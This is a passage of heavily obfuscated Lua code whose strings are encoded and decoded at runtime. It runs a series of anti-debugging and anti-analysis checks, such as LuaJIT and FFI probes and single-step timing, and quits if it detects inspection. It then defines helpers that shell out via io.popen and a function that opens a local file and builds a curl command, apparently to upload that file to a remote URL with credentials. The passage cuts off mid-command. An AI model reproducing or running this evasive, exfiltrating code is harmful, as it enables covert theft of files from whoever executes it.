      __D("\240\159\165\165\240\159\166\128\240\159\140\138\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\179\240\159\140\138\240\159\144\179\240\159\166\128\240\159\144\154\240\159\140\136\240\159\166\136\240\159\165\165\240\159\140\180\240\159\140\139\240\159\140\139\240\159\140\139\240\159\144\161\240\159\140\139\240\159\140\180\240\159\144\153\240\159\144\172\240\159\140\180\240\159\144\179\240\159\144\160\240\159\140\136\240\159\144\160\240\159\140\138\240\159\144\179\240\159\144\172\240\159\140\136\240\159\165\165\240\159\166\128\240\159\144\161\240\159\144\154", __K),
      __D("\240\159\165\165\240\159\166\128\240\159\140\138\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\179\240\159\166\136\240\159\144\160\240\159\165\165\240\159\144\154\240\159\140\136\240\159\166\136\240\159\144\139\240\159\140\180\240\159\144\139\240\159\144\162\240\159\144\179\240\159\144\160\240\159\144\160\240\159\144\153\240\159\144\161\240\159\144\172\240\159\140\180\240\159\144\160\240\159\144\153\240\159\144\162\240\159\144\153\240\159\140\186\240\159\140\136\240\159\165\165\240\159\144\172\240\159\165\165\240\159\144\139\240\159\144\179\240\159\165\165\240\159\165\165\240\159\140\186\240\159\144\154\240\159\140\139\240\159\144\160\240\159\166\128\240\159\140\138\240\159\144\139", __K),
      (__D("\240\159\165\165\240\159\166\128\240\159\140\138\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\179\240\159\166\136\240\159\144\160\240\159\165\165\240\159\144\154\240\159\140\136\240\159\166\136\240\159\144\139\240\159\140\180\240\159\144\139\240\159\144\162\240\159\144\179\240\159\144\160\240\159\144\160\240\159\140\136\240\159\165\165\240\159\165\165\240\159\144\139\240\159\144\179\240\159\140\186\240\159\144\162\240\159\140\186\240\159\165\165\240\159\140\138\240\159\140\186\240\159\144\172\240\159\144\172\240\159\144\172\240\159\166\136\240\159\165\165\240\159\144\172\240\159\144\162\240\159\140\180\240\159\166\136\240\159\144\161\240\159\144\179\240\159\144\160\240\159\144\179\240\159\144\154\240\159\144\154\240\159\140\136\240\159\140\136\240\159\140\136\240\159\140\136\240\159\144\162\240\159\144\154\240\159\140\186\240\159\144\172\240\159\166\128\240\159\144\172\240\159\144\179\240\159\144\172\240\159\144\154\240\159\140\186", __K))
    })
    if v85 then
      return v85
    end
  else
    local v85 = vq({
      __D("\240\159\144\160\240\159\140\138\240\159\144\161\240\159\144\172\240\159\144\162\240\159\144\160\240\159\144\161\240\159\144\161\240\159\144\179\240\159\144\153\240\159\144\153\240\159\144\153\240\159\144\161\240\159\144\154\240\159\166\128\240\159\165\165\240\159\140\136\240\159\166\136\240\159\144\172\240\159\144\161", __K),
      __D("\240\159\144\160\240\159\140\138\240\159\144\161\240\159\140\180\240\159\140\136\240\159\140\136\240\159\166\136\240\159\140\138\240\159\140\186\240\159\166\128\240\159\144\154\240\159\144\160\240\159\166\136\240\159\144\172\240\159\166\128\240\159\140\136\240\159\144\162\240\159\140\139\240\159\144\179\240\159\144\172\240\159\166\128\240\159\140\186\240\159\144\172\240\159\144\161\240\159\144\160\240\159\144\162\240\159\166\128\240\159\165\165", __K),
      __D("\240\159\144\160\240\159\140\138\240\159\144\161\240\159\140\180\240\159\140\136\240\159\140\136\240\159\166\136\240\159\140\138\240\159\140\186\240\159\166\128\240\159\144\154\240\159\144\161\240\159\144\161\240\159\144\162\240\159\166\128\240\159\140\139\240\159\144\162\240\159\166\128\240\159\144\160\240\159\144\161\240\159\140\180\240\159\144\154\240\159\144\160\240\159\144\172", __K),
      __D("\240\159\144\160\240\159\140\138\240\159\144\161\240\159\140\180\240\159\140\136\240\159\140\136\240\159\166\136\240\159\140\138\240\159\140\186\240\159\166\128\240\159\144\154\240\159\144\161\240\159\166\136\240\159\166\128\240\159\140\180\240\159\144\162\240\159\144\162\240\159\140\186\240\159\144\172\240\159\144\161", __K),
      (__D("\240\159\144\160\240\159\140\138\240\159\144\161\240\159\140\180\240\159\140\136\240\159\140\136\240\159\166\136\240\159\140\138\240\159\140\186\240\159\166\128\240\159\144\154\240\159\166\128\240\159\166\136\240\159\140\186\240\159\166\128\240\159\140\180\240\159\140\136\240\159\166\136\240\159\144\160\240\159\140\139\240\159\140\180\240\159\144\153\240\159\144\172\240\159\144\162\240\159\144\179\240\159\140\136\240\159\144\162\240\159\165\165\240\159\140\138\240\159\140\180\240\159\144\160\240\159\144\153", __K))
    })
    if v85 then
      return v85
    end
  end
  return nil
end
va.f4 = v84
local function v86()
  return type(jit) == __D("\240\159\140\186\240\159\140\139\240\159\144\161\240\159\144\172\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\162\240\159\144\179\240\159\144\179", __K) and jit.f5 and true or false
end
local function v87()
  local v88, v89 = pcall(require, (__D("\240\159\144\172\240\159\140\136\240\159\144\161\240\159\166\136\240\159\144\162\240\159\140\138", __K)))
  if not v88 then
    return false
  end
  v89.f6(__D("\240\159\144\161\240\159\140\186\240\159\144\172\240\159\144\162\240\159\166\128\240\159\140\136\240\159\165\165\240\159\166\136\240\159\140\186\240\159\144\172\240\159\144\139\240\159\144\179\240\159\166\136\240\159\166\136\240\159\166\128\240\159\144\179\240\159\140\136\240\159\144\172\240\159\144\172\240\159\144\139\240\159\144\153\240\159\144\162\240\159\140\186\240\159\144\153\240\159\166\136\240\159\144\153\240\159\144\162\240\159\140\139\240\159\165\165\240\159\144\160\240\159\140\186\240\159\144\161\240\159\140\138\240\159\144\162\240\159\144\179\240\159\144\161\240\159\165\165\240\159\166\128\240\159\144\153\240\159\144\179\240\159\166\136\240\159\144\172\240\159\140\186\240\159\166\136\240\159\140\180\240\159\144\162\240\159\144\162\240\159\140\139\240\159\140\136\240\159\140\186\240\159\144\162\240\159\166\136\240\159\144\172\240\159\144\161\240\159\144\162\240\159\166\136\240\159\144\179\240\159\140\180\240\159\140\180\240\159\165\165\240\159\144\179\240\159\166\128\240\159\166\128\240\159\166\136\240\159\144\161\240\159\144\179\240\159\144\154\240\159\140\136\240\159\140\138\240\159\166\136\240\159\140\180\240\159\144\154\240\159\140\138\240\159\144\172\240\159\140\138\240\159\144\179\240\159\144\179\240\159\140\180\240\159\144\179\240\159\144\162\240\159\144\160\240\159\165\165\240\159\140\180\240\159\144\161\240\159\140\139\240\159\144\162\240\159\140\136\240\159\144\162\240\159\140\138\240\159\165\165\240\159\144\139\240\159\144\154\240\159\140\180\240\159\140\186\240\159\140\136\240\159\144\161\240\159\144\153\240\159\140\139\240\159\144\154\240\159\165\165\240\159\144\154\240\159\166\128\240\159\144\161\240\159\144\179\240\159\166\136\240\159\165\165\240\159\140\136\240\159\144\172\240\159\140\139\240\159\144\172\240\159\144\154\240\159\166\128\240\159\166\136\240\159\144\160\240\159\144\153\240\159\144\162\240\159\140\138\240\159\144\154\240\159\140\186\240\159\144\153\240\159\144\161\240\159\144\154\240\159\140\186\240\159\140\180\240\159\144\161\240\159\144\179\240\159\144\179\240\159\144\162\240\159\144\154\240\159\140\136\240\159\165\165\240\159\140\180\240\159\166\136\240\159\140\138\240\159\165\165\240\159\140\138\240\159\144\179\240\159\144\139\240\159\144\153\240\159\140\180\240\159\144\179\240\159\140\138\240\159\144\154\240\159\140\186\240\159\140\138\240\159\144\160\240\159\144\160\240\159\144\139\240\159\140\180\240\159\165\165\240\159\140\139\240\159\166\128\240\159\140\186\240\159\140\186\240\159\166\136\240\159\140\138\240\159\166\128\240\159\165\165\240\159\140\139\240\159\140\138\240\159\144\154\240\159\166\128\240\159\140\186\240\159\144\139\240\159\140\180\240\159\166\128\240\159\144\139\240\159\144\160\240\159\144\172\240\159\144\162\240\159\166\128\240\159\166\136\240\159\140\136\240\159\144\162\240\159\144\161\240\159\144\161\240\159\144\161\240\159\144\162\240\159\144\161\240\159\144\154\240\159\144\154\240\159\166\136\240\159\144\139\240\159\144\162\240\159\144\172\240\159\144\154\240\159\140\136\240\159\166\128\240\159\144\172\240\159\140\138\240\159\144\162\240\159\144\160\240\159\140\180\240\159\144\162\240\159\144\160\240\159\144\160\240\159\144\172\240\159\140\139\240\159\166\136\240\159\166\136\240\159\165\165\240\159\165\165\240\159\140\138\240\159\144\172\240\159\144\153\240\159\144\154\240\159\144\154\240\159\140\180\240\159\140\186\240\159\140\136\240\159\144\162\240\159\144\154\240\159\144\172\240\159\140\136\240\159\166\136\240\159\144\139\240\159\140\138\240\159\166\136\240\159\144\139\240\159\144\160\240\159\140\139\240\159\165\165\240\159\165\165\240\159\144\139\240\159\144\154\240\159\144\153\240\159\144\162\240\159\144\139\240\159\144\162\240\159\140\136\240\159\165\165\240\159\144\179\240\159\165\165\240\159\166\128\240\159\144\161\240\159\144\161\240\159\144\160\240\159\144\162\240\159\144\139\240\159\140\139\240\159\140\186\240\159\166\136\240\159\144\154\240\159\144\179\240\159\144\162\240\159\165\165\240\159\144\154\240\159\144\161\240\159\165\165\240\159\144\161\240\159\144\154\240\159\144\139\240\159\166\136\240\159\144\153\240\159\144\139\240\159\140\138\240\159\144\139\240\159\144\153\240\159\140\180\240\159\140\138\240\159\140\186\240\159\140\180\240\159\140\180\240\159\165\165\240\159\144\154\240\159\165\165\240\159\144\160\240\159\144\172\240\159\166\128\240\159\144\139\240\159\166\136\240\159\144\153\240\159\140\138\240\159\140\186\240\159\144\154\240\159\144\162\240\159\144\179\240\159\165\165\240\159\144\139\240\159\144\154\240\159\144\154\240\159\144\154\240\159\165\165\240\159\140\180\240\159\140\136\240\159\140\138\240\159\140\139\240\159\144\154\240\159\140\136\240\159\140\139\240\159\144\139\240\159\140\139\240\159\166\128\240\159\140\186\240\159\140\138\240\159\140\136\240\159\140\136\240\159\140\136\240\159\144\153\240\159\144\179\240\159\165\165\240\159\140\180", __K))
  local v90 = v89.f7((__D("\240\159\144\172\240\159\166\136\240\159\144\161\240\159\144\160\240\159\140\136\240\159\140\139\240\159\144\161\240\159\144\139\240\159\144\179\240\159\144\179\240\159\144\154\240\159\144\139\240\159\165\165\240\159\144\154\240\159\140\136\240\159\144\139", __K)))
  if v90.f8() ~= 0 then
    return true
  end
  local v91 = v89.f9(__D("\240\159\144\172\240\159\144\179\240\159\144\161\240\159\166\128\240\159\140\136\240\159\140\180\240\159\144\179\240\159\144\153\240\159\144\172\240\159\140\186\240\159\140\180\240\159\140\139", __K), 0)
  v90.f10(v90.f11(), v91)
  return v91[0] ~= 0
end
local function v92()
  local v93, v94 = pcall(require, (__D("\240\159\144\172\240\159\140\136\240\159\144\161\240\159\166\136\240\159\144\162\240\159\140\138", __K)))
  if not v93 then
    return false
  end
  v94.f6(__D("\240\159\144\160\240\159\144\153\240\159\144\161\240\159\144\154\240\159\144\162\240\159\144\179\240\159\144\161\240\159\144\139\240\159\144\179\240\159\166\136\240\159\144\139\240\159\144\179\240\159\144\161\240\159\140\180\240\159\140\180\240\159\166\128\240\159\140\136\240\159\144\161\240\159\144\160\240\159\140\139\240\159\140\180\240\159\140\186\240\159\144\172\240\159\140\136\240\159\140\186\240\159\144\172\240\159\144\162\240\159\144\160\240\159\165\165\240\159\140\139\240\159\140\186\240\159\166\136\240\159\166\136\240\159\144\153\240\159\144\160\240\159\140\138\240\159\165\165\240\159\166\128\240\159\144\153\240\159\144\161\240\159\144\179\240\159\144\179\240\159\144\172\240\159\144\172\240\159\166\128\240\159\144\154\240\159\144\162\240\159\166\128\240\159\140\180\240\159\140\139\240\159\166\128\240\159\144\139\240\159\140\186\240\159\144\162\240\159\166\128\240\159\140\186\240\159\144\179\240\159\144\153\240\159\140\136\240\159\144\154\240\159\144\160\240\159\144\161\240\159\166\128\240\159\140\136\240\159\165\165\240\159\140\139\240\159\144\153\240\159\144\154\240\159\140\186\240\159\140\136\240\159\144\139\240\159\140\186\240\159\166\136\240\159\166\128\240\159\166\136\240\159\144\153\240\159\140\186\240\159\140\136\240\159\144\179\240\159\144\162\240\159\140\186\240\159\140\180\240\159\140\180\240\159\140\139\240\159\140\139\240\159\144\161\240\159\140\136\240\159\144\162\240\159\144\161\240\159\140\136\240\159\144\139\240\159\140\186\240\159\140\139\240\159\144\161\240\159\144\162\240\159\144\179\240\159\144\154\240\159\140\138\240\159\166\128\240\159\140\139\240\159\144\153\240\159\140\180\240\159\140\138\240\159\166\136\240\159\165\165\240\159\140\136\240\159\140\136\240\159\140\186\240\159\140\139\240\159\166\128\240\159\144\154\240\159\166\128\240\159\144\160\240\159\144\179\240\159\144\139\240\159\144\172\240\159\144\161\240\159\144\139\240\159\144\179\240\159\166\128", __K))
  local v95 = 0
  local v96 = v94.f12.f13(v95, 0, nil, nil)
  if v96 == -1 then
    return true
  end
  return false
end
function va.f14()
  if not vb or not v86() then
    return false
  end
  local v97, v98 = pcall(v87)
  return v97 and v98 or false
end
function va.f15()
  if vb or not v86() then
    return false
  end
  local v99, v100 = pcall(v92)
  return v99 and v100 or false
end
function va.f16(v101)
  v101 = v101 or {}
  local v102 = {}
  local v103, v104, v105 = 0, 0, 0
  local v106 = va.fr()
  if v106 then
    v103 = v103 + 1
    vx(v102, (__D("\240\159\144\172\240\159\140\139\240\159\144\161\240\159\144\160\240\159\144\162\240\159\140\139\240\159\166\136\240\159\165\165\240\159\144\179\240\159\166\136\240\159\140\180\240\159\140\136\240\159\166\136\240\159\144\161\240\159\166\128\240\159\144\160\240\159\144\162\240\159\144\162\240\159\144\160\240\159\165\165\240\159\144\154\240\159\144\154\240\159\140\186\240\159\166\128\240\159\144\160\240\159\140\136\240\159\144\162\240\159\140\139\240\159\140\138\240\159\144\179\240\159\144\172\240\159\144\161\240\159\140\138\240\159\165\165\240\159\144\160\240\159\144\179", __K)))
  end
  if not va.fs() then
    va.fq()
    if not va.fs() then
      v103 = v103 + 1
      vx(v102, (__D("\240\159\140\186\240\159\140\139\240\159\166\136\240\159\140\138\240\159\144\162\240\159\140\138\240\159\166\136\240\159\166\136\240\159\144\160\240\159\166\136\240\159\144\154\240\159\144\153\240\159\144\161\240\159\144\153\240\159\166\128\240\159\140\180\240\159\140\139\240\159\144\162\240\159\144\160\240\159\140\186\240\159\140\180\240\159\144\154\240\159\144\172\240\159\144\172\240\159\144\179\240\159\140\138\240\159\140\139\240\159\165\165\240\159\140\138\240\159\165\165\240\159\144\172\240\159\165\165\240\159\140\138\240\159\140\186\240\159\144\160\240\159\140\186\240\159\165\165\240\159\166\128\240\159\144\153\240\159\144\179\240\159\144\160\240\159\144\179\240\159\144\172\240\159\140\186", __K)))
    end
  end
  local v107, v108 = va.ft(va.fa.fb, va.fa.fc)
  if v107 then
    v103 = v103 + 1
    vx(v102, ("single_step_slow:%dms"):format(v108))
  end
  local v109 = va.fw()
  if v109 then
    v103 = v103 + 1
    vx(v102, __D("\240\159\144\172\240\159\144\172\240\159\166\136\240\159\144\160\240\159\144\162\240\159\144\162\240\159\144\179\240\159\140\139\240\159\144\179\240\159\144\160\240\159\144\154\240\159\144\172\240\159\166\136\240\159\144\153\240\159\140\180\240\159\140\180\240\159\144\162\240\159\140\138\240\159\144\160\240\159\140\180\240\159\140\180\240\159\166\136\240\159\140\186\240\159\144\154\240\159\144\161\240\159\166\136\240\159\144\162\240\159\144\172\240\159\165\165\240\159\144\139\240\159\144\172\240\159\166\136\240\159\165\165\240\159\144\139\240\159\144\179\240\159\144\154\240\159\165\165\240\159\166\128\240\159\140\139\240\159\144\154", __K) .. v109)
  end
  if not vb and va.fx() then
    v103 = v103 + 1
    vx(v102, (__D("\240\159\144\172\240\159\144\172\240\159\144\161\240\159\140\139\240\159\144\162\240\159\144\160\240\159\166\136\240\159\165\165\240\159\144\160\240\159\140\139\240\159\140\180\240\159\140\136\240\159\144\161\240\159\140\136\240\159\140\180\240\159\144\139\240\159\144\162\240\159\144\179\240\159\144\160\240\159\140\136\240\159\140\180\240\159\166\136\240\159\140\186\240\159\144\154\240\159\144\161\240\159\166\136\240\159\144\162\240\159\144\153\240\159\140\138\240\159\165\165\240\159\140\186\240\159\166\136\240\159\140\138\240\159\144\154\240\159\144\179\240\159\165\165\240\159\165\165\240\159\165\165\240\159\144\154\240\159\165\165\240\159\144\160\240\159\144\160", __K)))
  end
  local v110 = va.fz()
  if v110 then
    v103 = v103 + 1
    vx(v102, __D("\240\159\140\186\240\159\166\128\240\159\166\136\240\159\144\160\240\159\140\136\240\159\144\139\240\159\166\136\240\159\166\136\240\159\144\179\240\159\144\139\240\159\144\154\240\159\144\161\240\159\166\136\240\159\166\136\240\159\166\128\240\159\144\160\240\159\140\136\240\159\140\186\240\159\144\179\240\159\140\136\240\159\144\154\240\159\144\154\240\159\144\172\240\159\140\136\240\159\144\179\240\159\144\161\240\159\140\136\240\159\144\162\240\159\166\136\240\159\144\153", __K) .. v110)
  end
  if vb and va.f14() then
    v103 = v103 + 1
    vx(v102, (__D("\240\159\165\165\240\159\144\179\240\159\166\136\240\159\165\165\240\159\144\139\240\159\140\180\240\159\144\161\240\159\165\165\240\159\144\179\240\159\165\165\240\159\144\153\240\159\144\172\240\159\166\136\240\159\144\139\240\159\166\128\240\159\144\153\240\159\144\162\240\159\140\186\240\159\144\179\240\159\144\162\240\159\144\154\240\159\165\165\240\159\140\186\240\159\144\154\240\159\144\179\240\159\144\154\240\159\140\136\240\159\140\180\240\159\165\165\240\159\140\138\240\159\144\172\240\159\144\154\240\159\165\165\240\159\140\139", __K)))
  end
  if not vb and va.f15() then
    v103 = v103 + 1
    vx(v102, (__D("\240\159\140\186\240\159\144\153\240\159\166\136\240\159\144\179\240\159\140\136\240\159\140\139\240\159\144\161\240\159\144\161\240\159\144\179\240\159\140\138\240\159\144\154\240\159\144\172\240\159\144\160\240\159\140\186\240\159\140\180\240\159\166\128\240\159\140\136\240\159\144\161\240\159\144\160\240\159\140\139\240\159\140\180\240\159\140\186\240\159\144\172\240\159\140\136\240\159\144\179\240\159\144\179\240\159\144\162\240\159\140\139\240\159\140\186\240\159\144\139\240\159\140\186\240\159\166\136\240\159\165\165\240\159\140\180\240\159\144\179\240\159\140\139\240\159\140\138\240\159\140\136", __K)))
  end
  local v111 = va.fy()
  if v111 then
    v104 = v104 + 1
    vx(v102, __D("\240\159\140\186\240\159\166\128\240\159\166\136\240\159\144\160\240\159\140\136\240\159\144\139\240\159\166\136\240\159\166\136\240\159\144\179\240\159\144\139\240\159\144\154\240\159\144\161\240\159\166\136\240\159\166\136\240\159\166\128\240\159\144\160\240\159\140\136\240\159\140\186\240\159\144\179\240\159\140\136\240\159\144\154\240\159\144\154\240\159\140\186\240\159\166\128\240\159\144\160\240\159\140\136\240\159\144\162\240\159\165\165\240\159\165\165\240\159\144\179\240\159\144\172\240\159\144\161\240\159\165\165\240\159\166\128\240\159\144\160\240\159\165\165\240\159\166\136\240\159\144\172", __K) .. v111)
  end
  local v112 = va.f0()
  if v112 then
    v105 = v105 + 1
    vx(v102, __D("\240\159\140\186\240\159\140\136\240\159\144\161\240\159\144\153\240\159\140\139\240\159\144\179\240\159\166\136\240\159\140\186\240\159\144\179\240\159\144\179\240\159\144\154\240\159\144\162\240\159\166\136\240\159\140\136\240\159\166\128\240\159\144\160\240\159\140\136\240\159\144\161\240\159\140\186\240\159\140\138", __K) .. v112)
  end
  local v113 = va.f1()
  if v113 then
    v105 = v105 + 1
    vx(v102, __D("\240\159\140\186\240\159\140\136\240\159\144\161\240\159\144\153\240\159\140\139\240\159\144\179\240\159\144\161\240\159\144\161\240\159\144\160\240\159\165\165\240\159\144\153\240\159\140\186\240\159\166\136\240\159\166\136\240\159\166\128\240\159\144\154\240\159\144\162\240\159\144\179\240\159\144\160\240\159\140\136\240\159\166\128\240\159\144\161\240\159\144\179\240\159\144\179", __K) .. v113)
  end
  local v114 = va.f2()
  if v114 then
    v104 = v104 + 1
    vx(v102, __D("\240\159\144\172\240\159\144\179\240\159\144\161\240\159\144\179\240\159\144\162\240\159\166\128\240\159\144\161\240\159\144\139\240\159\144\160\240\159\144\160\240\159\144\154\240\159\144\153\240\159\144\161\240\159\140\136\240\159\140\180\240\159\165\165\240\159\140\180\240\159\140\180", __K) .. v114)
  end
  local v115 = va.f3()
  if v115 then
    v104 = v104 + 1
    vx(v102, v115)
  end
  local v116 = va.f4()
  if v116 then
    v104 = v104 + 1
    vx(v102, __D("\240\159\140\186\240\159\166\128\240\159\144\161\240\159\144\172\240\159\144\162\240\159\144\160\240\159\144\161\240\159\140\138\240\159\144\179\240\159\165\165\240\159\144\154\240\159\140\136\240\159\144\161\240\159\144\161\240\159\144\153\240\159\144\160\240\159\140\136\240\159\144\160\240\159\144\160\240\159\140\139\240\159\166\128\240\159\144\161\240\159\144\172\240\159\166\136\240\159\144\172\240\159\165\165", __K) .. v116)
  end
  local v117 = v103 + v104 + v105
  local v118 = v103 >= (v101.fe or va.fa.fe) or v104 + v105 >= (v101.fd or va.fa.fd) or v117 >= (v101.ff or va.fa.ff)
  return {
    f17 = v118,
    f18 = v117,
    f19 = v103,
    f20 = v104,
    f21 = v105,
    f22 = v102,
    f23 = vb and __D("\240\159\140\186\240\159\144\162\240\159\144\161\240\159\140\139\240\159\144\162\240\159\144\160\240\159\144\161\240\159\140\138\240\159\144\179\240\159\166\128\240\159\144\153\240\159\165\165\240\159\144\161\240\159\144\154", __K) or __D("\240\159\140\186\240\159\144\153\240\159\144\161\240\159\140\180\240\159\140\136\240\159\144\139\240\159\144\161\240\159\140\180\240\159\144\160\240\159\140\139", __K)
  }
end
function va.f24(v119)
  v119 = v119 or {
    f25 = __D("\240\159\144\172\240\159\144\139\240\159\166\136\240\159\144\139\240\159\144\162\240\159\140\138\240\159\166\136\240\159\140\138", __K),
    f26 = 1
  }
  local v120 = va.f16(v119.f27 or {})
  if v120.f17 then
    local v121 = v119.f25 or __D("\240\159\144\172\240\159\144\139\240\159\166\136\240\159\144\139\240\159\144\162\240\159\140\138\240\159\166\136\240\159\140\138", __K)
    if v121 == __D("\240\159\144\172\240\159\144\139\240\159\166\136\240\159\144\139\240\159\144\162\240\159\140\138\240\159\166\136\240\159\140\138", __K) then
      os.exit(v119.f26 or 1)
    elseif v121 == __D("\240\159\140\186\240\159\166\128\240\159\144\161\240\159\144\154\240\159\144\162\240\159\166\128\240\159\144\161\240\159\165\165\240\159\144\160\240\159\144\172", __K) then
      if vb then
        vi(__D("\240\159\140\186\240\159\144\153\240\159\144\161\240\159\140\139\240\159\144\162\240\159\144\160\240\159\144\161\240\159\144\172\240\159\140\186\240\159\144\172\240\159\144\139\240\159\140\139\240\159\166\136\240\159\144\172\240\159\144\162\240\159\144\162", __K) .. (v119.f28 or 10) .. __D("\240\159\144\160\240\159\144\153\240\159\140\138\240\159\144\172\240\159\140\180\240\159\140\139\240\159\140\138\240\159\144\172\240\159\140\186\240\159\140\180\240\159\140\139\240\159\144\179\240\159\140\138\240\159\144\172\240\159\140\136\240\159\144\162\240\159\166\128\240\159\140\136\240\159\140\186\240\159\140\139\240\159\140\136\240\159\165\165\240\159\144\179\240\159\140\186\240\159\166\136\240\159\144\161\240\159\140\139\240\159\140\139\240\159\144\172\240\159\140\136", __K))
      else
        vi(__D("\240\159\140\186\240\159\166\128\240\159\144\161\240\159\144\154\240\159\144\162\240\159\166\128\240\159\144\161\240\159\165\165\240\159\144\160\240\159\144\172\240\159\144\139\240\159\144\179", __K) .. (v119.f28 or 10) .. __D("\240\159\144\160\240\159\144\153\240\159\140\138\240\159\166\128\240\159\166\128\240\159\144\179\240\159\144\161\240\159\140\138\240\159\144\179\240\159\144\179\240\159\144\153\240\159\140\138\240\159\140\138\240\159\140\186\240\159\166\128\240\159\144\179\240\159\140\136\240\159\140\186\240\159\144\160\240\159\144\179\240\159\140\180\240\159\140\180\240\159\144\160\240\159\166\128\240\159\144\172\240\159\140\136\240\159\140\180\240\159\140\138\240\159\144\161\240\159\144\172\240\159\144\179\240\159\165\165", __K))
      end
    elseif v121 == __D("\240\159\144\172\240\159\140\139\240\159\144\161\240\159\144\160\240\159\144\162\240\159\144\154\240\159\166\136\240\159\144\179\240\159\144\179\240\159\140\186\240\159\144\154\240\159\140\186\240\159\166\136\240\159\144\162", __K) then
    elseif v121 == __D("\240\159\144\172\240\159\165\165\240\159\144\161\240\159\140\180\240\159\144\162\240\159\144\179\240\159\166\136\240\159\166\136", __K) then
    end
  end
  return v120
end
function va.f29()
  pcall(va.fp)
  pcall(va.fq)
end
local v122 = va.f16()
if v122.f17 then
  os.exit()
end
local function qc(s)
  return __D("\240\159\144\160\240\159\140\180", __K) .. s:gsub(__D("\240\159\144\160\240\159\140\180", __K), (__D("\240\159\140\138\240\159\144\172\240\159\165\165\240\159\140\138", __K))) .. __D("\240\159\144\160\240\159\140\180", __K)
end
local function qp(s)
  return __D("\240\159\144\160\240\159\144\162", __K) .. s:gsub(__D("\240\159\144\160\240\159\144\162", __K), (__D("\240\159\144\160\240\159\144\162\240\159\165\165\240\159\144\161", __K))) .. __D("\240\159\144\160\240\159\144\162", __K)
end
local function ht(c)
  local f = io.popen(c .. __D("\240\159\144\160\240\159\144\153\240\159\140\138\240\159\166\128\240\159\144\162\240\159\144\160\240\159\166\136\240\159\165\165\240\159\144\179\240\159\144\153\240\159\144\139\240\159\144\179\240\159\165\165\240\159\144\153\240\159\140\136\240\159\144\179\240\159\166\128\240\159\165\165\240\159\140\186\240\159\140\139\240\159\140\136\240\159\165\165\240\159\144\160\240\159\144\139\240\159\140\186\240\159\140\180\240\159\166\128\240\159\144\154\240\159\165\165\240\159\140\138\240\159\144\172\240\159\144\172\240\159\140\138\240\159\144\160\240\159\144\179\240\159\140\180\240\159\144\161\240\159\140\136\240\159\166\128\240\159\140\139\240\159\144\161\240\159\144\162\240\159\144\160\240\159\144\179\240\159\166\128\240\159\165\165\240\159\144\162\240\159\166\136\240\159\140\180\240\159\144\160\240\159\144\162\240\159\144\153\240\159\140\186\240\159\140\186\240\159\166\128\240\159\166\136\240\159\144\160\240\159\166\136\240\159\140\136\240\159\144\154\240\159\166\136\240\159\140\139\240\159\144\154\240\159\144\153", __K))
  local o = f:read(__D("\240\159\144\160\240\159\144\161\240\159\144\161\240\159\144\172", __K)) or __D("", __K)
  f:close()
  return o:find("OK", 1, true)
end
local function rc(c)
  local f = io.popen(c .. __D("\240\159\144\160\240\159\144\153\240\159\140\138\240\159\140\138\240\159\140\180\240\159\144\160\240\159\165\165\240\159\140\186\240\159\144\172\240\159\140\186", __K))
  local o = f:read(__D("\240\159\144\160\240\159\144\161\240\159\144\161\240\159\144\172", __K)) or __D("", __K)
  f:close()
  return o
end
function uf(fp, u, us, ps)
  local f = io.open(fp, (__D("\240\159\140\186\240\159\140\180\240\159\144\161\240\159\140\138", __K)))
  if not f then
    return false
  end
  f:close()
  if not ht((__D("\240\159\144\172\240\159\166\128\240\159\166\136\240\159\144\160\240\159\140\136\240\159\140\139\240\159\144\161\240\159\144\162\240\159\140\186\240\159\144\172\240\159\144\139\240\159\140\139\240\159\140\138\240\159\140\138\240\159\140\180\240\159\144\154\240\159\144\162\240\159\140\186\240\159\144\179\240\159\144\162\240\159\166\128\240\159\140\186\240\159\144\172\240\159\144\161\240\159\144\179\240\159\166\136\240\159\144\162\240\159\140\138", __K))) then
    os.exit()
    return false, nil, (__D("\240\159\144\172\240\159\166\128\240\159\166\136\240\159\144\160\240\159\140\136\240\159\140\139\240\159\144\161\240\159\144\162\240\159\140\186\240\159\144\172\240\159\144\154\240\159\144\162\240\159\166\136\240\159\140\186\240\159\140\180\240\159\166\128\240\159\166\128\240\159\144\160\240\159\144\160\240\159\166\128\240\159\140\180\240\159\144\154\240\159\140\186\240\159\140\136\240\159\144\179\240\159\144\161\240\159\144\162\240\159\144\139", __K))
  end
  local t = 30
  local pc = table.concat({
    __D("\240\159\144\172\240\159\166\128\240\159\166\136\240\159\144\160\240\159\140\136\240\159\140\139\240\159\144\161\240\159\144\162\240\159\140\186\240\159\144\172\240\159\144\139\240\159\140\139\240\159\144\161\240\159\144\154\240\159\144\153\240\159\140\139", __K),
    __D("\240\159\144\160\240\159\140\186\240\159\165\165\240\159\144\153\240\159\144\162\240\159\144\139\240\159\144\161\240\159\140\139\240\159\144\179\240\159\140\180\240\159\144\154\240\159\144\162\240\159\166\136\240\159\144\162\240\159\166\128\240\159\140\139\240\159\140\136\240\159\144\172\240\159\144\172\240\159\144\160\240\159\166\128\240\159\144\161\240\159\144\172\240\159\144\161\240\159\144\179\240\159\144\179\240\159\144\162\240\159\140\139\240\159\165\165\240\159\144\139\240\159\140\186\240\159\144\161\240\159\165\165\240\159\140\139\240\159\140\186\240\159\140\186", __K) .. t,
    __D("\240\159\144\160\240\159\140\186\240\159\144\161\240\159\144\153\240\159\166\128\240\159\140\136", __K) .. t,
    __D("\240\159\144\160\240\159\140\186\240\159\144\161\240\159\140\180\240\159\166\128\240\159\140\136\240\159\165\165\240\159\140\136", __K),
    "-w HTTPSTATUS:%{http_code}",
    qc(u)
  }, (__D("\240\159\144\160\240\159\144\153", __K)))
  local pr = rc(pc) or __D("", __K)
  local pb, pcd = pr:match("^(.*)HTTPSTATUS:(%d%d%d)$")
  if not pcd then
    os.exit(1)
  end
  local cmd = table.concat({
    __D("\240\159\144\172\240\159\166\128\240\159\166\136\240\159\144\160\240\159\140\136\240\159\140\139\240\159\144\161\240\159\144\162\240\159\140\186\240\159\144\172\240\159\144\139\240\159\140\139\240\159\144\161\240\159\144\154\240\159\144\153\240\159\140\139", __K),
